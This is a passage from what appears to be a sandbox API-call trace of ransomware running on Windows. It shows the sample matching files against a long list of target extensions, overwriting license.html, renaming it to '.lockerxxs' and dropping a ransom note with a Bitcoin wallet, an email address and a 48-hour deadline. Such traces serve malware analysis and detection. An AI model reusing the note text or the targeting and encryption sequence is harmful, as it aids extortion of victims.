10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.djvu") returned 0 [0069.944] lstrlenA (lpString="*.djvu") returned 6 [0069.944] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.tiff") returned 0 [0069.945] lstrlenA (lpString="*.tiff") returned 6 [0069.945] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.backup") returned 0 [0069.945] lstrlenA (lpString="*.backup") returned 8 [0069.945] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.pdf") returned 0 [0069.945] lstrlenA (lpString="*.pdf") returned 5 [0069.945] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.cert") returned 0 [0069.945] lstrlenA (lpString="*.cert") returned 6 [0069.945] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.docm") returned 0 [0069.945] lstrlenA (lpString="*.docm") returned 6 [0069.945] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.xlsm") returned 0 [0069.945] lstrlenA (lpString="*.xlsm") returned 6 [0069.945] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.dwg") returned 0 [0069.945] lstrlenA (lpString="*.dwg") returned 5 [0069.945] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.nd") returned 0 [0069.945] lstrlenA (lpString="*.nd") returned 4 [0069.945] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.tlg") returned 0 [0069.945] lstrlenA (lpString="*.tlg") returned 5 [0069.945] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.lgb") returned 0 [0069.945] lstrlenA (lpString="*.lgb") returned 5 [0069.946] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.mov") returned 0 [0069.946] lstrlenA (lpString="*.mov") returned 5 [0069.946] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.xdw") returned 0 [0069.946] lstrlenA (lpString="*.xdw") returned 5 [0069.946] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.ods") returned 0 [0069.946] lstrlenA (lpString="*.ods") returned 5 [0069.946] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.wav") returned 0 [0069.946] lstrlenA (lpString="*.wav") returned 5 [0069.946] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.mp3") returned 0 [0069.946] lstrlenA (lpString="*.mp3") returned 5 [0069.946] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.aiff") returned 0 [0069.946] lstrlenA (lpString="*.aiff") returned 6 [0069.946] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.flac") returned 0 [0069.946] lstrlenA (lpString="*.flac") returned 6 [0069.946] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.m4a") returned 0 [0069.946] lstrlenA (lpString="*.m4a") returned 5 [0069.946] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini", pszSpec="*.csv") returned 0 [0069.946] lstrlenA (lpString="*.csv") returned 5 [0069.946] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1dc34, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 1 [0069.947] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.947] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="license.html") returned -1 [0069.947] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="license.html") returned -1 [0069.947] lstrcmpiA (lpString1="", lpString2="license.html") returned -1 [0069.947] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\eula.ini") returned="eula.ini" [0069.947] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\" [0069.947] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\") returned="" [0069.947] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\HOW TO DECRYPT FILES.txt" [0069.947] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn\\how to decrypt files.txt")) returned 0x20 [0069.947] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\", lpString2="license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html" [0069.947] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.ems") returned 0 [0069.947] lstrlenA (lpString="*.ems") returned 5 [0069.947] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.db") returned 0 [0069.947] lstrlenA (lpString="*.db") returned 4 [0069.947] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.dbf") returned 0 [0069.948] lstrlenA (lpString="*.dbf") returned 5 [0069.948] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.myox") returned 0 [0069.948] lstrlenA (lpString="*.myox") returned 6 [0069.948] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.myo") returned 0 [0069.948] lstrlenA (lpString="*.myo") returned 5 [0069.948] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.qbw") returned 0 [0069.948] lstrlenA (lpString="*.qbw") returned 5 [0069.948] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.qbb") returned 0 [0069.948] lstrlenA (lpString="*.qbb") returned 5 [0069.948] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.qbm") returned 0 [0069.948] lstrlenA (lpString="*.qbm") returned 5 [0069.948] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.qbo") returned 0 [0069.948] lstrlenA (lpString="*.qbo") returned 5 [0069.948] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.qbx") returned 0 [0069.948] lstrlenA (lpString="*.qbx") returned 5 [0069.948] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.qba") returned 0 [0069.948] lstrlenA (lpString="*.qba") returned 5 [0069.948] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.qby") returned 0 [0069.948] lstrlenA (lpString="*.qby") returned 5 [0069.948] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.qbj") returned 0 [0069.948] lstrlenA (lpString="*.qbj") returned 5 [0069.948] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.ofx") returned 0 [0069.948] lstrlenA (lpString="*.ofx") returned 5 [0069.948] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.qif") returned 0 [0069.949] lstrlenA (lpString="*.qif") returned 5 [0069.949] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.mye") returned 0 [0069.949] lstrlenA (lpString="*.mye") returned 5 [0069.949] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.mbox") returned 0 [0069.949] lstrlenA (lpString="*.mbox") returned 6 [0069.949] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.eml") returned 0 [0069.949] lstrlenA (lpString="*.eml") returned 5 [0069.949] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.pst") returned 0 [0069.949] lstrlenA (lpString="*.pst") returned 5 [0069.949] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.ost") returned 0 [0069.949] lstrlenA (lpString="*.ost") returned 5 [0069.949] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.idx") returned 0 [0069.949] lstrlenA (lpString="*.idx") returned 5 [0069.949] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.dbx") returned 0 [0069.949] lstrlenA (lpString="*.dbx") returned 5 [0069.949] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.sql") returned 0 [0069.949] lstrlenA (lpString="*.sql") returned 5 [0069.949] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.mdb") returned 0 [0069.949] lstrlenA (lpString="*.mdb") returned 5 [0069.949] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.fdb") returned 0 [0069.949] lstrlenA (lpString="*.fdb") returned 5 [0069.949] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.wab") returned 0 [0069.949] lstrlenA (lpString="*.wab") returned 5 [0069.949] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.dat") returned 0 [0069.950] lstrlenA (lpString="*.dat") returned 5 [0069.950] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.txt") returned 0 [0069.950] lstrlenA (lpString="*.txt") returned 5 [0069.950] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.jpeg") returned 0 [0069.950] lstrlenA (lpString="*.jpeg") returned 6 [0069.950] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.jpg") returned 0 [0069.950] lstrlenA (lpString="*.jpg") returned 5 [0069.950] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.png") returned 0 [0069.950] lstrlenA (lpString="*.png") returned 5 [0069.950] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.php") returned 0 [0069.950] lstrlenA (lpString="*.php") returned 5 [0069.950] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.cs") returned 0 [0069.950] lstrlenA (lpString="*.cs") returned 4 [0069.950] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.cpp") returned 0 [0069.950] lstrlenA (lpString="*.cpp") returned 5 [0069.950] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.rar") returned 0 [0069.950] lstrlenA (lpString="*.rar") returned 5 [0069.950] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.zip") returned 0 [0069.950] lstrlenA (lpString="*.zip") returned 5 [0069.950] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", pszSpec="*.html") returned 1 [0069.950] lstrlenA (lpString="*.html") returned 6 [0069.950] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html" [0069.950] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html" [0069.951] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html." [0069.951] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html.lockerxxs" [0069.951] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.951] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1dc34 [0069.951] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x81dce140, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4)) returned 1 [0069.952] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.952] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1dc0e, lpOverlapped=0x0) returned 1 [0069.972] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html") returned="license.html" [0069.973] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0069.973] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1dc0e, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1dc0e, lpOverlapped=0x0) returned 1 [0069.974] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0069.974] CloseHandle (hObject=0x94) returned 1 [0069.976] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn\\license.html"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\JPN\\license.html.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\jpn\\license.html.lockerxxs")) returned 1 [0069.978] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81dce140, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1dc34, dwReserved0=0x0, dwReserved1=0x0, cFileName="license.html", cAlternateFileName="LICENS~1.HTM")) returned 0 [0069.978] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0069.994] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="KOR", cAlternateFileName="")) returned 1 [0069.994] lstrcmpA (lpString1=".", lpString2="KOR") returned -1 [0069.994] lstrcmpA (lpString1="..", lpString2="KOR") returned -1 [0069.994] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\*.*") returned="*.*" [0069.994] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\", lpString2="KOR" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR" [0069.994] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR") returned 57 [0069.994] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf20003f1, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0069.995] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0069.995] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81d81e80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81d81e80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0069.995] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0069.996] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0069.996] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d81e80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x260, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0069.996] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0069.996] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="eula.ini") returned -1 [0069.996] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="eula.ini") returned 1 [0069.996] lstrcmpiA (lpString1="", lpString2="eula.ini") returned -1 [0069.996] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\*.*") returned="*.*" [0069.996] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\" [0069.996] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\") returned="" [0069.996] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\HOW TO DECRYPT FILES.txt" [0069.996] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\how to decrypt files.txt")) returned 0xffffffff [0069.996] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0069.997] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0069.997] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0069.998] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0069.999] CloseHandle (hObject=0x94) returned 1 [0069.999] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\", lpString2="eula.ini" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini" [0069.999] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.ems") returned 0 [0069.999] lstrlenA (lpString="*.ems") returned 5 [0069.999] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.db") returned 0 [0069.999] lstrlenA (lpString="*.db") returned 4 [0069.999] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.dbf") returned 0 [0069.999] lstrlenA (lpString="*.dbf") returned 5 [0069.999] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.myox") returned 0 [0069.999] lstrlenA (lpString="*.myox") returned 6 [0069.999] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.myo") returned 0 [0069.999] lstrlenA (lpString="*.myo") returned 5 [0069.999] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\eula.ini", pszSpec="*.qbw") returned 0 [0069.999] lstrlenA (lpString="*.qbw") returned 5 [0069.999] PathMatchSpecA (pszFile="C:\\Program 